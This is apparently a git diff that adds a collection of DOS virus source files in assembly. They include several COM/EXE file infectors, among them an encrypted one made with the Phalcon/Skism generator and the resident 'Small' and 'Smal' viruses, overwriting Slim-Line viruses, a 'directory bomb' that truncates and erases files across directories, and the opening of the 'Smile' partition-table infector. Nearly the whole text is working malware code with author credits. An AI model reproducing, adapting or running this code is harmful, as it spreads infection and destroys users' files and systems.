;AL Open mode + ;DS:DX Pointer to filename (ASCIIZ string) + ;Return AX file handle + mov [handle],ax + mov ah,'C' + mov al,'D' + PUSH DX + POP BX + cmp [bx],ah ;Compare filename for 'COMMAND.COM' + jnz p1 ;If not first char 'C' then push virus in file + cmp [bx+6],al + jz v ;If 7 char 'D' then find next file +p1: mov bx,handle + push cs + pop ds + mov ah,3fh + mov dx,offset end + mov cx,5 + int 21h ;Dos service function ah=3FH (READ FILE) + ;BX File handle + ;CX Number of bytes to read + ;DS:DX Addres of buffer + push cs + pop es ;ES <- CS + cld + PUSH DX + POP SI + mov di,offset okey + mov cx,5 + rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI + ; SI=SI+1 + ; DI=DI+1 + mov ax,534bh + mov di,dx + add di,3 + cmp [di],ah + jnz fuck + inc di + cmp [di],al + jnz fuck +v: push cs + pop ds + mov bx,handle + mov ah,3eh + int 21h + push cs + pop ds + mov ah,4fh + int 21h + jc enzi + jmp short vir +enzi: jmp ding +fuck: mov ax,offset end+7 + add ax,1aH + mov di,ax + Mov Word Ptr cx,[di] + mov ax,offset end + mov di,ax + mov al,0e9h + cmp cx,1a0h + jna v + add cx,2 + mov [di],al + inc di + mov Word Ptr [di],cx + mov ax,534bh + add di,2 + mov [di],ah + inc di + mov [di],al + mov bx,[handle] ; + mov ax,4200h + xor cx,cx + xor dx,dx + push cs + pop ds + int 21h + mov bx,handle + mov ah,40h + mov dx,offset end + mov cx,5 + int 21h + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + push cs + pop ds + mov bx,handle + mov ah,40h + mov dx,offset okey + mov cx,end-okey + int 21h + mov bx,handle + mov ah,3eh + int 21h + mov ax,0000 + mov ds,ax + inc Word ptr [0310h] +ding: push cs + pop ds + mov ah,1ah + mov ds,[edta] + mov dx,[bdta] + int 21h + mov ax,0 + mov ds,ax + mov byte ptr [306h],0 +main: PUSH CS + POP DS + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + popf +int1hh nop +int1h: db (0eah) +is: dw 0 +io: dw 0 + +int13h: cli + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + push ax + mov ax,0 + mov ds,ax + pop ax + mov byte ptr [308h],ch + mov byte ptr [309h],dl + push cs + pop ds + push ax + push ds + cmp ah,03 + jz etk2 + cmp ah,05 + jnz etk3 +etk2: mov ax,0000 + mov ds,ax + inc Word ptr [310h] + cmp Word ptr [310h],02FEh + jnz etk3 + push cs + pop ds + STI + int 20h +etk3: pop ds + pop ax + STI + int 65h + pushf + push ax + mov ax,0 + mov ds,ax + cmp byte ptr [306h],0 + pop ax + jz etk4 + popf + clc + mov ax,0 + jmp short etk5 +etk4: popf +etk5: POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + db (0CAH) + db (02) + db (00) +name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$' +for1: jmp ding1 +files: db '*.com',0 +ding2: mov ax,0000h + mov ds,ax + MOV BX,300H + MOV CX,4b53h + cmp [bx],cx + jz for1 + mov [bx],cx + mov ah,62h + int 21h + mov ds,bx + mov bx,[2ch] + dec bx + mov dx,0FFFFh +loc_1: mov ds,bx + mov di,[3] + inc di + add dx,di + add bx,di + cmp byte ptr [0000],5Ah + jne loc_1 + mov cx,es + add cx,dx + sub word ptr [3],80h + sub cx,80h + sub cx,10h + mov es,cx + mov di,100h + cld + mov ax,0000h + mov ds,ax + mov bx,[004ch] + mov [0194h],bx + mov cx,[004eh] + mov [0196h],cx + mov ax,0 + mov ds,ax +lenf equ word ptr ds:[312h] + mov ax,0000h + mov ds,ax + mov bx,[0084h] + mov cx,[0086h] + mov ax,0 + mov ds,ax + mov di,is-okey + add di,lenf + push cs + pop ds + mov [di],bx + mov [di+2],cx + mov ax,0 + mov ds,ax + mov si,[312h] + sub si,7 + push cs + pop ds + mov di,100h + mov cx,800h + rep movsb + mov ax,0000 + mov ds,ax + cli + mov WORD PTR [0086h],ES + mov WORD PTR [004eh],ES + mov word ptr [0082h],es + mov di,int20h-okey + add di,107h + mov WORD PTR [0080h],di + mov di,int13h-okey + add di,107h + mov WORD PTR [004ch],di + mov di,int21h-okey + add di,107h + mov WORD PTR [0084h],di + sti +Ding1: mov ax,0 + mov ds,ax + mov byte ptr [306h],1 + mov byte ptr [302h],0 + mov ah,19h + int 21h + mov dl,al + cmp dl,01 + jna mmm + add dl,7Eh +mmm: mov byte ptr [309h],dl + push cs + pop ds + mov ah,0ffh + int 21h +for: mov ax,0 + mov ds,ax + mov byte ptr [306h],0 + mov byte ptr [302h],1 + PUSH CS + POP DS + pop cx + mov si,100h + jmp si +handle: dw ? +edta: dw ? +bdta: dw ? +com: db 'COMMAND' +end: db (00) \ No newline at end of file diff --git a/s/SKELETON.ASM b/s/SKELETON.ASM new file mode 100755 index 0000000..e3f3933 --- /dev/null +++ b/s/SKELETON.ASM @@ -0,0 +1,302 @@ +; target.asm : [Skeleton] by Deke +; Created wik the Phalcon/Skism Mass-Produced Code Generator +; from the configuration file skeleton.cfg + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'DA' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +startvirus: +decrypt: ; handles encryption and decryption +patch_startencrypt: + mov bp,offset startencrypt ; start of decryption + mov ax,(offset heap - offset startencrypt)/2 ; iterations +decrypt_loop: + db 2eh,81h,76h,0 ; xor word ptr cs:[bp], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bp ; calculate new decryption location + inc bp + dec ax ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+offset save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+offset oldCSIP2] + lea di,[bp+offset oldCSIP] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],3 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+offset newDTA] ; new DTA @ DS:DX + int 21h + + lea dx,[bp+offset exe_mask] + call infect_mask + lea dx,[bp+offset com_mask] + call infect_mask + +done_infections: + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+oldCSIP+2],ax + add ax,word ptr cs:[bp+oldSSSP+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+oldSSSP] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +oldCSIP db ? ; Original CS:IP (4 bytes) +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +oldSSSP dd ? ; Original SS:SP +oldCSIP2 dd ? +oldSSSP2 dd ? + +creator db '[MPC]',0 ; Mass Produced Code Generator +virus db '[Skeleton]',0 +author db 'Deke',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov ax,3d02h ; Open read/write + int 21h + xchg ax,bx + + mov ah,3fh ; Read file to buffer + lea dx,[bp+offset buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ax,4202h ; Go to end of file + xor cx,cx + cwd + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov cx,word ptr [bp+buffer+1]; get jmp location + add cx,heap-startvirus+3 ; Adjust for virus size + cmp ax,cx ; Already infected? + je find_next + jmp infect_com +checkEXE: + cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +done_file: + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + cmp byte ptr [bp+numinfec], 0; Enough infections? + jnz find_next + pop ax ; remove call from stack + jmp done_infections + +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + mov cx, 1ah + push cx + push bx ; Save file handle + les ax,dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+oldCSIP2], ax + mov word ptr [bp+oldCSIP2+2], es + + les ax,dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+oldSSSP2],es + mov word ptr [bp+oldSSSP2+2],ax + + mov ax,word ptr [bp+buffer+8]; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax,dword ptr [bp+newDTA+26] ; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + pop bx ; Restore file handle + + add ax, heap-startvirus ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + mov ax,word ptr [bp+buffer+14h] ; needed later + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + push cx + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h +finishinfection: + add ax,offset startencrypt-offset decrypt + push ax + + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+offset codestore] + mov al,55h ; push bp + stosb + lea si,[bp+offset decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+offset write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop ax + push di + push si + push cx + rep movsb ; Copy decryption function + + mov word ptr [bp+patch_startencrypt+1],ax + + mov al,5dh ; pop bx + stosb + mov al,0c3h ; retn + stosb + + call codestore ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,4200h ; Move file pointer + xor cx,cx ; to beginning of file + cwd ; xor dx,dx + int 21h + + mov ah,40h ; Write to file + lea dx,[bp+offset buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + dec byte ptr [bp+numinfec] ; One mo infection + jmp done_file + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+offset newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+offset decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bp +endwrite: + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +codestore:db (startencrypt-decrypt)*2+(endwrite-write)+3 dup (?) +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/s/SLIM1.ASM b/s/SLIM1.ASM new file mode 100755 index 0000000..fffb2eb --- /dev/null +++ b/s/SLIM1.ASM @@ -0,0 +1,51 @@ +; +; The Slim-Line 1 virus, from the Slim-line virus strain. +; (C) 1993 by [DRkRY]/TridenT +; +; This one's a dumb overwriting virus, as small as possible, +; return to DOS and work with all dos versions. (no SI=100h tricks ect.) +; + +_CODE SEGMENT + ASSUME CS:_CODE, DS:_CODE, ES:_CODE + ORG 100h + +FIRST: + DB "*.*", 000h ; Infect ALL files.. + MOV AH,4Eh ; Find first... + XOR CX,CX ; No attributes. +AGAIN: + MOV DX,100h ; String from 100h + PUSH DX ; Save 100h for later. + INT 21h ; Find it! + JC DIR_HIGHER ; Not found??? + + MOV AX,3D01h ; Open it... + MOV DX,9Eh ; Yeah, THAT file! + INT 21h ; I said NOW! + XCHG AX,BX ; Put handle in BX... + + MOV AH,40h ; Infect it. + MOV CL,(LAST-FIRST) ; Thats how big I am... + POP DX ; Save it, ya remember... + INT 21h ; Go get it! + + MOV AH,3Eh ; Party is over, + INT 21h ; close it.. + + MOV AH,4Fh ; Who's next! + JMP AGAIN + + CHD DB "..", 000h ; Dir higher 8^] +DIR_HIGHER: + MOV AH,3Bh ; Change dir. + POP DX ; Don't mess with stack... + MOV DX,OFFSET CHD ; Dir higher... + INT 21h ; Ok... + JNC FIRST ; Root?? +EXIT: + RET ; Then exit.. +LAST: + +_CODE ENDS + END FIRST diff --git a/s/SLIM2.ASM b/s/SLIM2.ASM new file mode 100755 index 0000000..6409193 --- /dev/null +++ b/s/SLIM2.ASM @@ -0,0 +1,146 @@ +; +; The Slim-Line 2 virus, from the Slim-line virus collection. +; (C) 1993 by [DRkRY]/TridenT +; +; And this time it's a direct action COM infector. +; + +_CODE SEGMENT + ASSUME CS:_CODE, DS:_CODE, ES:_CODE + ORG 100h + +FIRST: + DB 'D', 0E9h, 000h, 000h + +VX: + MOV BP,00000h + + LEA SI,[BP + OLD_4_BYTES] + MOV DI,00100h + PUSH DI + MOV CX,DI + MOVSW + MOVSW + + XOR SI,SI + LEA DI,[BP + LAST + 2] + PUSH SI + PUSH DI + PUSH CX + REP MOVSB + +FIND_FILE: + MOV AH,04Eh + LEA DX,[BP + FIND] + MOV CL,27h +AGAIN: + INT 021h + JC GO_ROOT + +YES_FILE: + MOV AX,04300h + MOV DX,09Eh + INT 021h + PUSH CX + + MOV AX,04301h + XOR CX,CX + INT 021h + + MOV AX,03D02h + INT 021h + XCHG AX,BX + + + MOV AX,05700h + INT 021h + PUSH CX + PUSH DX + + MOV AH,03Fh + MOV CX,004h + LEA DX,[BP + OLD_4_BYTES] + INT 021h + + MOV SI,DX + LODSW + CMP AX,0E944h + JE DONT_INFECT + + MOV AL,02h + CALL SET_POINTER + + SUB AX,00004h + MOV WORD PTR [BP + VX + 2],AX + MOV WORD PTR [BP + NEW_4_BYTES + 2],AX + + MOV AH,040h + MOV CL,(LAST - VX) + LEA DX,[BP + VX] + INT 021h + + XOR AX,AX + CALL SET_POINTER + + MOV AH,040h + MOV CL,004h + LEA DX,[BP + NEW_4_BYTES] + INT 021h + +DONT_INFECT: + MOV AX,05701h + POP DX + POP CX + INT 021h + + MOV AH,03Eh + INT 021h + + MOV AX,04301h + POP CX + MOV DX,09Eh + INT 021h + + MOV AH,4Fh + JMP AGAIN + +GO_ROOT: + + MOV AH,03Bh + LEA DX,[BP + ROOT] + INT 021h + JC EXIT + JMP FIND_FILE + +EXIT: + POP CX + POP SI + POP DI + REP MOVSB + + RET + +SET_POINTER: + MOV AH,042h + XOR CX,CX + CWD + INT 021h + RET + + OLD_4_BYTES: NOP + NOP + NOP + RET + + FIND DB "*.COM", 000h + ROOT DB "\", 000h + + CUT DB "" + MARKER DB "[DR/TridenT]" + NAMED DB "Slim-Line 2 v0.9" + COUNTRY DB "Holland" + NEW_4_BYTES DB 'D', 0E9h +LAST: + +_CODE ENDS + END FIRST diff --git a/s/SMAL.ASM b/s/SMAL.ASM new file mode 100755 index 0000000..447c150 --- /dev/null +++ b/s/SMAL.ASM @@ -0,0 +1,230 @@ +virus segment public 'code' + assume cs:virus,ds:virus,es:virus + org 0 + +VirusSize equ VirusEnd-$ + +Com: call Begin + call Label2 + +PartPage equ this word+02h +PageCount equ this word+04h +HdrSize equ this word+08h +MinMem equ this word+0ah +MaxMem equ this word+0ch +ExeSS equ this word+0eh +ExeSP equ this word+10h +ExeSignature equ this word+12h +ExeStart equ this dword+14h +ExeIP equ this word+14h +ExeCS equ this word+16h + +SavedCode: + mov ax,4c00h + int 21h + + org SavedCode+18h + +Label2: pop si + mov di,100h + push di + movsw + movsw + movsb + ret + +Exe: call Begin + mov dx,ds + add dx,10h + add cs:ExeCS,dx + add dx,cs:ExeSS + mov ss,dx + mov sp,cs:ExeSP + jmp cs:ExeStart + +Begin: push ds + push es + push ax + xor ax,ax + mov ds,ax + mov ds,ds:[46ah] + cmp Signature,0ACDCh + je Exit + mov ah,4ah + mov bx,-1 + int 21h + sub bx,(VirusSize+1fh)/10h+1000h + jb Exit + add bh,10h + mov ah,4ah + int 21h + mov ah,48h + mov bx,(VirusSize+0fh)/10h + int 21h + jb Exit + dec ax + mov es,ax + inc ax + mov es:[1],ax + mov es,ax + push cs + pop ds + call Label1 +Label1: pop si + sub si,offset Label1 + xor di,di + push di + mov cx,VirusSize + rep movsb + pop ds + mov ax,ds:[84h] + mov word ptr es:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr es:OldInt21[2],ax + mov byte ptr ds:[467h],0eah + mov word ptr ds:[468h],offset NewInt21 + mov ds:[46ah],es + mov word ptr ds:[84h],7 + mov word ptr ds:[86h],46h +Exit: pop ax + pop ds + pop es + ret + +Header db 0e9h + dw 0 +Signature dw 0ACDCh + +NewInt21: + cmp ah,4bh + je Exec + jmp short EOI +Exec: push ax + push bx + push cx + push dx + push ds + mov ax,3d02h + call Interrupt + jc short Error + push cs + pop ds + mov bx,ax + mov ah,3fh + mov cx,18h + mov dx,offset SavedCode + call DOS + cmp word ptr cs:SavedCode,5a4dh + je ExeFile +ComFile:cmp word ptr cs:SavedCode[3],0ACDCh + je short Close + mov al,02h + call Seek + or dx,dx +; jmp short Close + cmp ah,0f6h + je short Close + sub ax,5 +; jmp short Close + inc ax + inc ax + mov word ptr ds:Header[1],ax + mov ah,40h + mov cx,VirusSize + xor dx,dx + call DOS + mov al,00h + call Seek + mov ah,40h + mov cx,5 + mov dx,offset Header + call Interrupt +Close: mov ah,3eh + call Interrupt +Error: pop ds + pop dx + pop cx + pop bx + pop ax + +EOI: db 0eah ; jmp 0:0 +OldInt21 dd 026b1465h + +ExeFile:cmp ExeSignature,0ACDCh + je short Close + mov al,02h + call Seek + add ax,0fh + adc dx,0 + and al,0f0h + xchg ax,dx + mov cx,ax + mov ax,4200h + call DOS + mov cx,10h + div cx + or dx,dx + jne Close + mov dx,ax + sub dx,HdrSize + push dx + mov cx,10h + mul cx + add ax,VirusSize + adc dx,0 + mov cx,200h + div cx + inc ax + push ax + push dx + mov ah,40h + mov cx,VirusSize + xor dx,dx + call Interrupt + pop PartPage + pop PageCount + pop ax + jc Close + mov ExeCS,ax + mov ExeIP,offset Exe + add ax,(VirusSize+0fh)/10h + mov ExeSS,ax + mov ExeSP,200h + cmp MinMem,20h + jae Mem1 + mov MinMem,20h +Mem1: cmp MaxMem,20h + jae Mem2 + mov MaxMem,20h +Mem2: mov al,00 + call Seek + mov ah,40h + mov cx,18h + mov dx,offset SavedCode + call Interrupt + jmp Close + +Seek: mov ah,42h + xor cx,cx + xor dx,dx + +DOS: call Interrupt + jnc Ok + pop ax + jmp Close + +Interrupt: + pushf + call cs:OldInt21 +Ok: ret + +VirusEnd equ $ + +virus ends + +end + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/s/SMALL.ASM b/s/SMALL.ASM new file mode 100755 index 0000000..5ecd0aa --- /dev/null +++ b/s/SMALL.ASM @@ -0,0 +1,190 @@ + .model tiny + .code + .radix 16 + .code + ; Phalcon/Skism _Small virus + ; Written by Dark Angel of Phalcon/Skism + ; 278 byte generic COM/EXE infector + EXE_ID = -40 + viruslength = heap - _small + startload = 90 * 4 + + _small: + call relative + oldheader dw 020cdh + dw 0bh dup (0) + relative: + pop bp + push ds + push es + xor ax,ax + mov ds,ax + mov es,ax + mov di,startload + cmp word ptr ds:[di+25],di + jz exit_small + + lea si,[bp-3] + mov cx,viruslength + db 2Eh + rep movsb + + mov di,offset old21 + startload + mov si,21*4 + push si + movsw + movsw + pop di + mov ax,offset int21 + startload + stosw + xchg ax,cx + stosw + + exit_small: + pop es + pop ds + + or sp,sp + jnp returnCOM + returnEXE: + mov ax,ds + add ax,10 + add [bp+16],ax + add ax,[bp+0e] + mov ss,ax + mov sp,cs:[bp+10] + jmp dword ptr cs:[bp+14] + returnCOM: + mov di,100 + push di + mov si,bp + movsw + movsb + ret + + infect: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov ax,3d02 + int 21 + xchg ax,bx + + push cs + pop ds + push cs + pop es + + mov si,offset oldheader+startload + + mov ah,3f + mov cx,18 + push cx + mov dx,si + int 21 + + cmp ax,cx + jnz go_already_infected + + mov di,offset target + startload + push di + rep movsb + pop di + + mov ax,4202 + cwd + int 21 + + cmp ds:[di],'ZM' + jz infectEXE + + sub ax,3 + mov byte ptr ds:[di],0e9 + mov ds:[di+1],ax + + sub ax,viruslength + cmp ds:[si-17],ax + jnz finishinfect + go_already_infected: + pop cx + jmp short already_infected + + int21: + cmp ax,4b00 + jz infect + jmp short chain + + infectEXE: + cmp word ptr [di+10],EXE_ID + jz go_already_infected + + push ax + push dx + + add ax,viruslength + adc dx,0 + + mov cx,200 + div cx + + or dx,dx + jz nohiccup + inc ax + nohiccup: + mov ds:[di+4],ax + mov ds:[di+2],dx + + pop dx + pop ax + + mov cx,10 + div cx + + sub ax,ds:[di+8] + + mov ds:[di+14],dx + mov ds:[di+16],ax + + mov ds:[di+0e],ax + mov word ptr ds:[di+10],EXE_ID + finishinfect: + mov ah,40 + mov cx,viruslength + mov dx,startload + int 21 + + mov ax,4200 + xor cx,cx + cwd + int 21 + + mov ah,40 + mov dx,di + pop cx + int 21 + already_infected: + mov ah,3e + int 21 + exitinfect: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + chain: + db 0ea + heap: + old21 dw ?, ? + target dw 0ch dup (?) + + endheap: + end _small diff --git a/s/SMASH.ASM b/s/SMASH.ASM new file mode 100755 index 0000000..e36e389 --- /dev/null +++ b/s/SMASH.ASM @@ -0,0 +1,190 @@ +;skism directory bomb v1.00 + +;written by hellraiser + +;this is a lame bomb consisting of repetative/error full code +;but it gets the job done +;when run this program will start at the first directory from the root +;and trash all files in first level directorys +;then create a directory in place of the distroyed file name + +;it will also create a semi-removable directory called skism + +;yes bombs are very lame, and be advised, this is the only bomb +;skism shall ever write... but we must try everything once + +;be warned, the tech used by this program does not only erase files but +;it will also truncate them to 0 bytes, the skism method. + +code segment 'code' +assume cs:code,ds:code,es:code + org 0100h + +main proc near + +jmp start + + +thestoppa db 1ah ;EOF char to stop TYPE command +filecards db '*.*',0 ;wildcards for files +dircards db '*',0 ;wildcards for directorys +root db '\',0 ;root directory path +default db 64 DUP (?) ;buffer to hold current dir +dirdta db 43 DUP (?) ;DTA for dirs +filedta db 43 DUP (?) ;DTA for files +dseg dw ? ;holds old dir DTA segment +dofs dw ? ;holds old dir DTA segment + +start: + + mov di,offset vl ;decrypt skism string + mov si,offset vl ; + mov cx,09h ; + + cld ; + +repeat: + + lodsb ; + xor al,92h ; + stosb ; + dec cx ; + jcxz bombstart ; + jmp repeat ; + +bombstart: + + mov dx,offset dirdta ;set DTA to hold directorys + mov ah,1ah ;DOS set DTA function + int 21h ; + + mov ah,19h ;get drive code + int 21h ; + + mov dl,al ;save drive code into dl + inc dl ;translate for function 3bh + + mov ah,47h ;save current dir + mov si, offset default ;save current dir into buffer + int 21h ; + + mov dx,offset root ;change dir to root + mov ah,3bh ; + int 21h ; + + mov cx,13h ;find directorys + mov dx,offset dircards ;find only directorys + mov ah,4eh ;find first file + +scanloop: + + int 21h ; + jc quit ;quit if no more dirs/error + + jmp changedir ;change to that dir + +findnextdir: + + mov ah,4fh ;find next directory + mov dx,offset dircards ; + jmp scanloop + +changedir: + + mov dx,offset dirdta + 30 ;point to dir name in DTA + mov ah,3bh ;change directory + int 21h ; + +smash: + + mov ah,2fh ; + int 21h ; + mov [dseg],es ;save dir DTA segemnt + mov [dofs],bx ;and offset + int 21h + + mov dx,offset filedta ;use file DTA as new DTA + mov ah,1ah ; + int 21h ; + + mov cx,0007h ;find flat attributes + mov dx,offset filecards ;point to '*.*',0 wildcard spec + mov ah,4eh ;find first file + +filescanloop: + + int 21h ; + jc done ;quit on error/no files found + + + mov ax,4301h ;clear files attributes + xor cx,cx ; + mov dx, offset filedta + 30 ; + int 21h ; + jc quit + + mov ah,3ch ;truncate file + int 21h + jc quit + + mov bx,ax ;save handle + + jc done + + mov ah,41h ;erase file + int 21h ; + + mov ah,3eh ;close file + int 21h ; + + mov ah,39h ;make directory in place of file + int 21h ; + + mov ah,4fh ;find next + jmp filescanloop + +done: + + mov ah,1ah ;restore directory DTA + mov ds,[dseg] ; + mov dx,[dofs] ; + int 21h + + mov dx,offset root ;change dir to root + mov ah,3bh ; + int 21h ; + + jmp findnextdir + + +quit: + + mov ah,3bh + mov dx,offset root ;change to root + int 21h + + mov ah,39h + mov dx,offset vl + int 21h + jc restore + +restore: + + mov dx,offset default ;restore original directory + mov ah,3bh ; + int 21h ; + + mov ah,4ch ; + int 21h ; + +vl db 0c1h,0f9h,0fbh,0e1h,0ffh,0bch,06dh,0b2h,06dh,0 + +filler db 28 dup(1ah) + +main endp +code ends + end main + + + + \ No newline at end of file diff --git a/s/SMILE.ASM b/s/SMILE.ASM new file mode 100755 index 0000000..02c5ae3 --- /dev/null +++ b/s/SMILE.ASM @@ -0,0 +1,1142 @@ +;------------------------------------------------------------------------------ +; +; Virus Name: Smile +; Origin: Holland +; Eff Length: 4,096 bytes +; Type Code: PRhE - Parasitic Resident .EXE & partition table infector +; +;------------------------------------------------------------------------------ +; +; This program is assembled with TASM V1.01 from Borland International +; (assembing with MASM V5.10 from Microsoft Inc. is also possible). +; +; TASM smile; +; LINK smile,,smile; +; +;------------------------------------------------------------------------------ +; +; Interrupt vectors +; +;------------------------------------------------------------------------------ + +iseg segment at 0 + org 8*4 +Int8o dw 0 ; interrupt vector 21h +Int8s dw 0 + + org 1ch*4 +Int1Co dw 0 ; interrupt vector 21h +Int1Cs dw 0 + + org 21h*4 +Int21o dw 0 ; interrupt vector 21h +Int21s dw 0 + +iseg ends + +cseg segment public 'code' + assume cs:cseg,ds:cseg,es:cseg + +;------------------------------------------------------------------------------ +; +; Header of EXE-file +; +;------------------------------------------------------------------------------ + +VirusSize equ 1580h ; size of virus + ; this one is very important, + ; if it isn't set right the + ; virus will hang every + ; infected file + +PrgSize equ 73h ; size of prg after the virus + ; this is used in the header + ; of the dummy program + + ; the value of these constants + ; can be determined by creating + ; a map-file with the linker. + +Signature dw 0 ; signature 'MZ' +PartPage dw 0 ; size of partitial page +PageCount dw 0 ; number of pages +ReloCount dw 0 ; number of relocation items +HeaderSize dw 0 ; size of header +MinMem dw 0 ; minimum memory needed +MaxMem dw 0 ; maximum memory needed +ExeSS dw 0 ; initial SS +ExeSP dw 0 ; initial SP +CheckSum dw 0 ; unused ??? +ExeIP dw 0 ; initial IP +ExeCS dw 0 ; initial CS +ReloOffset dw 0 ; offset of relocationtable +OverlayNr dw 0 ; number of overlay + +ComSize dw -1 ; Size of com-file (-1 for exe) + +;------------------------------------------------------------------------------ +; +; This procedure is called when starting from an exe-file +; +;------------------------------------------------------------------------------ + +Main: pushf ; save flags + sub sp,4 ; reserve space far cs:ip + push ax ; save other registers + push ds + push es + sti ; enable interrupts + cmp cs:ComSize,-1 ; com or exe-file + je ExeFile ; -1 : exe-file +ComFile: mov word ptr ds:[6],0fef0h ; set availeble memory to max + mov bp,sp ; set cs:ip on stack for + mov word ptr [bp+8],ds ; returning to the orginal + mov word ptr [bp+6],100h ; program + mov bp,ds ; bp : stacksegment + mov ax,cs ; bx : begin of com-file + add ax,(VirusSize/10h) + mov bx,ax + mov cx,0ff0h ; cx : size of data to move + add ax,cx ; es : buffer for mover and + mov es,ax ; infecting the bootsect. + push cs ; ds : codesegment + pop ds + jmp short InfectBoot ; infect bootsector +ExeFile: mov dx,cs ; Relocation + add dx,(VirusSize/10h) + mov ds,dx + mov cx,ReloCount ; number of relocation items + add dx,HeaderSize ; size of exe-header + mov si,ReloOffset ; offset of 1st relocation item + jcxz NoRelo +NextRelo: lodsw ; offset + mov di,ax + lodsw ; segment + add ax,dx + mov es,ax + mov ax,cs ; relocation factor + add es:[di],ax + loop NextRelo ; next relocation item +NoRelo: mov bp,sp + mov ax,cs ; set cs:ip on stack for + add ax,ExeCS ; returning to the orginal + mov [bp+8],ax ; program + mov ax,ExeIP + mov [bp+6],ax + mov bp,cs ; bp : stacksegment + add bp,ExeSS + mov ax,PageCount ; calculate size of exe-file + mov dx,PartPage ; in paragraphs + add dx,-1 + sbb ax,0 + mov cl,4 + shr dx,cl + inc dx + inc cl + shl ax,cl + add dx,ax + add dx,MinMem ; dx : size of exe-file + mov cx,dx ; cx : size of code and data + sub cx,HeaderSize + mov bx,cs ; bx : start of code and data + mov ds,bx + add bx,(VirusSize/10h) + add bx,dx + mov es,bx ; es : buffer for mover and + sub bx,cx ; infecting the bootsect. +InfectBoot: push bx ; save bx and cx + push cx + mov ax,201h ; read bootsector from disk + xor bx,bx + mov cx,1 + mov dx,80h + int 13h + jc BootOk ; error ? + 